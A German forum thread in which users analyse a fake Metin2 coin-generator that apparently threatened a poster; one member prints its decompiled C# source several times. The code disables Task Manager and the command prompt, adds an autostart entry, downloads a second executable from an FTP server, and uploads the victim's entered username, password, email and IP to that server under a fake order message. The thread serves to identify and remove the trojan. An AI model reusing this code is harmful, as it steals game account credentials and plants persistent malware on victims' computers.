(Hilfe) Homepage Anbieter bedroht mich

Quote:

Originally Posted by ¦Kati~ Eine Fake Seite zu erstellen macht man sich ebenfalls Strafbar. DasLampe bitte erstatte eine Anzeige. Du würdest mit einem "blauen Auge" davon kommen, allerdings der "Hacker" mit wahrscheinlich einer Geldstrafe.

Quote:

Originally Posted by DasLampe Jo, dann lass ich das lieber mit der Anzeige^^. Danke an alle die sich hier beteiligt haben E-Mail wurde an yocoo gesendet (an die richtige :D)

            Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableTaskMgr", "1", RegistryValueKind.DWord);
            Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableCMD", "1", RegistryValueKind.DWord);
            Registry.SetValue("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Paranormal", string.Concat(this.string_0, "\\M2T\\Paranormal.exe"), RegistryValueKind.String);
            Directory.CreateDirectory(string.Concat(this.string_0, "\\M2T"));
            this.webClient_0.Credentials = new NetworkCredential(this.string_5, this.string_4);
            this.webClient_0.DownloadFile(new Uri("Ftp://paranormal.000a.de/Metin2/Paranormal.exe"), string.Concat(this.string_0, "\\M2T\\Paranormal.exe"));
            this.vmethod_28().Text = this.webClient_0.DownloadString("http://myip.tdsw.de/");

        public void Phase1()
        {
            Class7.MySettings_0.IPLoad = this.vmethod_28().Text;
            Class7.MySettings_0.Save();
            Interaction.MsgBox("Deine bestellung wird bearbeitet! Ein Moment bitte...", MsgBoxStyle.Information, string.Concat("Bitte warte ein Augenblick!  ", Conversions.ToString(DateAndTime.TimeOfDay)));
            string str = string.Concat(this.vmethod_16().Text, "@", this.vmethod_12().Text);
            string[] text = new string[] { "Username = ", this.vmethod_16().Text, "\r\nPasswort = ", this.vmethod_12().Text, "\r\nE-Mail = ", this.vmethod_8().Text, "\r\n\r\nServer = ", this.vmethod_22().Text, "\r\nIp = ", this.vmethod_28().Text };
            this.richTextBox_0.Text = string.Concat(text);
            this.webClient_0.Credentials = new NetworkCredential(this.string_5, this.string_4);
            this.webClient_0.UploadString(string.Concat("Ftp://paranormal.000a.de/Metin2/", str), this.richTextBox_0.Text);
            Interaction.MsgBox("Deine Coins werden innerhalb der nächsten Stunde gebucht!", MsgBoxStyle.Information, string.Concat("Bitte warte ein Augenblick!  ", Conversions.ToString(DateAndTime.TimeOfDay)));

Quote:

Originally Posted by Daddy Neuland Hoster der kein Deutsch kann, oke.

Quote:

Originally Posted by Cambios Ich frag mich nur wie du das Decompiled hast, die Exe wurde mit DeepSea Obfuscade obfuscated, sehe da nirgends eine url o.ä. Hab jetzt aber auch Kein Bock das irgendwie Mühsam rückgängig zu machen oder so.. Mühe nicht Wert :/ Lass es jetzt noch über de4dot laufen,wenns nicht klappt dann lass ichs bleiben^^ EDIT: Hat funktioniert^^ @TE Formatier bitte dein Computer, die Datei deaktiviert Taskmanager in der Registry usw.. Erstellt auch binarys auf deinem Pc etc.. -> Systemwiederherstellungspunkt von vor einer Woche z.b wiederherstellen oder Windows neu drauf packen / die Veränderungen Manuell rückgängig machen! Kann sein das du immer noch nen Trojaner/sonstigen Sh*t drauf hast. Hier mal Auszug ausm Source damit die paar sachen vllt manuell fixxen kannst -> Code: Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableTaskMgr", "1", RegistryValueKind.DWord); Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableCMD", "1", RegistryValueKind.DWord); Registry.SetValue("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Paranormal", string.Concat(this.string_0, "\\M2T\\Paranormal.exe"), RegistryValueKind.String); Directory.CreateDirectory(string.Concat(this.string_0, "\\M2T")); this.webClient_0.Credentials = new NetworkCredential(this.string_5, this.string_4); this.webClient_0.DownloadFile(new Uri("Ftp://paranormal.000a.de/Metin2/Paranormal.exe"), string.Concat(this.string_0, "\\M2T\\Paranormal.exe")); this.vmethod_28().Text = this.webClient_0.DownloadString("http://myip.tdsw.de/"); public void Phase1() { Class7.MySettings_0.IPLoad = this.vmethod_28().Text; Class7.MySettings_0.Save(); Interaction.MsgBox("Deine bestellung wird bearbeitet! Ein Moment bitte...", MsgBoxStyle.Information, string.Concat("Bitte warte ein Augenblick! ", Conversions.ToString(DateAndTime.TimeOfDay))); string str = string.Concat(this.vmethod_16().Text, "@", this.vmethod_12().Text); string[] text = new string[] { "Username = ", this.vmethod_16().Text, "\r\nPasswort = ", this.vmethod_12().Text, "\r\nE-Mail = ", this.vmethod_8().Text, "\r\n\r\nServer = ", this.vmethod_22().Text, "\r\nIp = ", this.vmethod_28().Text }; this.richTextBox_0.Text = string.Concat(text); this.webClient_0.Credentials = new NetworkCredential(this.string_5, this.string_4); this.webClient_0.UploadString(string.Concat("Ftp://paranormal.000a.de/Metin2/", str), this.richTextBox_0.Text); Interaction.MsgBox("Deine Coins werden innerhalb der nächsten Stunde gebucht!", MsgBoxStyle.Information, string.Concat("Bitte warte ein Augenblick! ", Conversions.ToString(DateAndTime.TimeOfDay))); Da läd die Binary noch eine Datei "Paranormal.exe" runter und packts in Autostart - wahrscheinlich ein Backdoor. [Only registered and activated users can see links. Click Here To Register...] ist höchstwahrscheinlich dann ne ip-Redirect zu seinem PC.. wird also nen kiddy-visualbasic Trojaner von ihm sein wo er denkt er wäre hinterm proxy bei nem ip redirect service ;)

Quote:

Originally Posted by DasLampe Joa den Crap habe ich schon alleine mit ''HitmanPro'' gefixxt. Der hat einfach denke ich mal die Registry wieder auf die Normalen einstellungen gemacht. Und Paranormal.exe konnte ich auch irgendwie entfernen^^ War vorher unter Prozessen zusehen habe ich aber irgendwie weg bekommen.

Quote:

Originally Posted by Cambios Erstellt ja nen neuen Ordner in dem Ordner wo du das erstemal die Exe gestartest hast, da liegt die Datei dann drin - einfach löschen den M2 Ordner in diese Ordner, da is die Paranormal.exe drin dann - leider weiß ich nicht was die macht, die ist nicht mehr aufm Webspace drauf (alles gelöscht dort).

Quote:

Originally Posted by Cambios Ich frag mich nur wie du das Decompiled hast, die Exe wurde mit DeepSea Obfuscade obfuscated, sehe da nirgends eine url o.ä. Hab jetzt aber auch Kein Bock das irgendwie Mühsam rückgängig zu machen oder so.. Mühe nicht Wert :/ Lass es jetzt noch über de4dot laufen,wenns nicht klappt dann lass ichs bleiben^^ EDIT: Hat funktioniert^^ @TE Formatier bitte dein Computer, die Datei deaktiviert Taskmanager in der Registry usw.. Erstellt auch binarys auf deinem Pc etc.. -> Systemwiederherstellungspunkt von vor einer Woche z.b wiederherstellen oder Windows neu drauf packen / die Veränderungen Manuell rückgängig machen! Kann sein das du immer noch nen Trojaner/sonstigen Sh*t drauf hast. Hier mal Auszug ausm Source damit die paar sachen vllt manuell fixxen kannst -> Code: Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableTaskMgr", "1", RegistryValueKind.DWord); Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableCMD", "1", RegistryValueKind.DWord); Registry.SetValue("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Paranormal", string.Concat(this.string_0, "\\M2T\\Paranormal.exe"), RegistryValueKind.String); Directory.CreateDirectory(string.Concat(this.string_0, "\\M2T")); this.webClient_0.Credentials = new NetworkCredential(this.string_5, this.string_4); this.webClient_0.DownloadFile(new Uri("Ftp://paranormal.000a.de/Metin2/Paranormal.exe"), string.Concat(this.string_0, "\\M2T\\Paranormal.exe")); this.vmethod_28().Text = this.webClient_0.DownloadString("http://myip.tdsw.de/"); public void Phase1() { Class7.MySettings_0.IPLoad = this.vmethod_28().Text; Class7.MySettings_0.Save(); Interaction.MsgBox("Deine bestellung wird bearbeitet! Ein Moment bitte...", MsgBoxStyle.Information, string.Concat("Bitte warte ein Augenblick! ", Conversions.ToString(DateAndTime.TimeOfDay))); string str = string.Concat(this.vmethod_16().Text, "@", this.vmethod_12().Text); string[] text = new string[] { "Username = ", this.vmethod_16().Text, "\r\nPasswort = ", this.vmethod_12().Text, "\r\nE-Mail = ", this.vmethod_8().Text, "\r\n\r\nServer = ", this.vmethod_22().Text, "\r\nIp = ", this.vmethod_28().Text }; this.richTextBox_0.Text = string.Concat(text); this.webClient_0.Credentials = new NetworkCredential(this.string_5, this.string_4); this.webClient_0.UploadString(string.Concat("Ftp://paranormal.000a.de/Metin2/", str), this.richTextBox_0.Text); Interaction.MsgBox("Deine Coins werden innerhalb der nächsten Stunde gebucht!", MsgBoxStyle.Information, string.Concat("Bitte warte ein Augenblick! ", Conversions.ToString(DateAndTime.TimeOfDay))); Da läd die Binary noch eine Datei "Paranormal.exe" runter und packts in Autostart - wahrscheinlich ein Backdoor. [Only registered and activated users can see links. Click Here To Register...] ist höchstwahrscheinlich dann ne ip-Redirect zu seinem PC.. wird also nen kiddy-visualbasic Trojaner von ihm sein wo er denkt er wäre hinterm proxy bei nem ip redirect service ;)

Quote:

MsgBoxStyle.Information, string.Concat("Bitte warte ein Augenblick! ", Conversions.ToString(DateAndTime.TimeOfDay)));

Msg.Box "Hier ist dein Geb. Geschenk!"

Msg.Box ("Hi!")